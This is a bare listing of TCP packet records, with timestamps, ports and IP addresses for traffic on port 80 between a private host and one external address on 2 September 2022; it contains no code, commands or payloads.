Sep 2, 2022 14:03:31.649657965 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.649683952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650425911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650461912 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650485039 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650506020 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650510073 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650528908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650532007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650535107 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650553942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650556087 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650572062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650588989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650600910 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650612116 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650626898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650636911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650646925 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650660992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.650674105 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.650696993 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651515961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651549101 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651571989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651571989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651598930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651623964 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651626110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651648998 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651655912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651674032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651698112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651707888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651721001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651731014 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651745081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.651766062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.651789904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652051926 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652107954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652698994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652729034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652751923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652753115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652765989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652777910 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652795076 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652803898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652815104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652827978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.652842045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.652865887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.653645039 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.653678894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.653701067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.653717041 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.653723001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.653728008 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.653748989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.653749943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.653770924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.653775930 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.653791904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.653810978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.654681921 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.654716969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.654742002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.654748917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.654767036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.654767036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.654784918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.654804945 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.655180931 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.655214071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.655239105 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.655242920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.655256987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.655263901 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.655275106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.655301094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.656222105 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.656265974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.656275034 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.656291008 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.656317949 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.656328917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.656352043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.656358957 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.656393051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658236980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658282042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658298969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658307076 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658318043 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658340931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658451080 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658478022 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658489943 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658500910 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658515930 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658528090 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658541918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658550978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658574104 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.658574104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658601046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.658617973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659446955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659487963 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659512997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659524918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659537077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659537077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659549952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659562111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659574986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659585953 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659600019 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659607887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659626007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659631968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659657955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659682989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659683943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.659713984 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.659744978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660537958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660567999 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660589933 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660610914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660624027 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660634041 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660639048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660657883 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660670042 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660681009 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660696030 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660706997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660722971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660731077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.660743952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.660767078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661484003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661514997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661530018 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661544085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661552906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661569118 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661581039 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661593914 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661607981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661617994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661628008 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661643028 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661655903 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661669970 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661679983 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661694050 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661714077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661714077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661739111 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661741018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.661755085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.661777020 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.663469076 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.663701057 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.667875051 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.667954922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.671046019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.671092987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.671113968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.671159029 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.671191931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.671997070 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672036886 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672063112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672079086 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672089100 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672111988 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672117949 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672138929 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672143936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672167063 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672171116 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672183037 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672194958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672211885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672219992 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672230005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672247887 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672254086 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672276020 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672287941 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672297001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672310114 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672321081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672332048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672343969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672354937 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672365904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672380924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672389030 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672400951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672413111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672425985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672437906 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672447920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672460079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672472000 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672482967 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672502041 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672504902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672517061 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672528028 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672538996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672552109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672564983 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672578096 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672585964 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672604084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672611952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672627926 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672638893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672653913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672662973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672676086 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672688961 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672697067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672709942 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672720909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672730923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672743082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672754049 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672766924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672776937 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672789097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672802925 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672815084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672823906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672837019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672849894 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672859907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672869921 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672883034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672894955 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672905922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672916889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672929049 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672940016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672951937 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672964096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.672976017 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.672985077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673000097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673012972 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673022985 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673036098 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673048973 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673058033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673074961 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673084974 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673099995 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673109055 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673124075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673134089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673151016 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673156977 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673177958 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673202038 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673209906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673216105 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673226118 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673234940 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673252106 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673259974 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673278093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673290968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673304081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673312902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673329115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673338890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673352957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673363924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673379898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673391104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673404932 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673413992 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673429966 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673439026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673455954 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673461914 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673481941 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673487902 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673508883 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673517942 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673533916 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673546076 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673559904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673568010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673587084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673594952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673612118 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673621893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673635960 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673644066 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673660994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673671007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673685074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673693895 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673711061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673717022 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673737049 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673748016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673762083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673769951 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673787117 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673810959 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673816919 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673830032 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673837900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673861980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673866034 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673883915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673888922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673901081 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673914909 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673923016 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673940897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673949957 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673965931 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.673974991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.673993111 CEST	80	49827	89.185.85.53	192.168.2.6
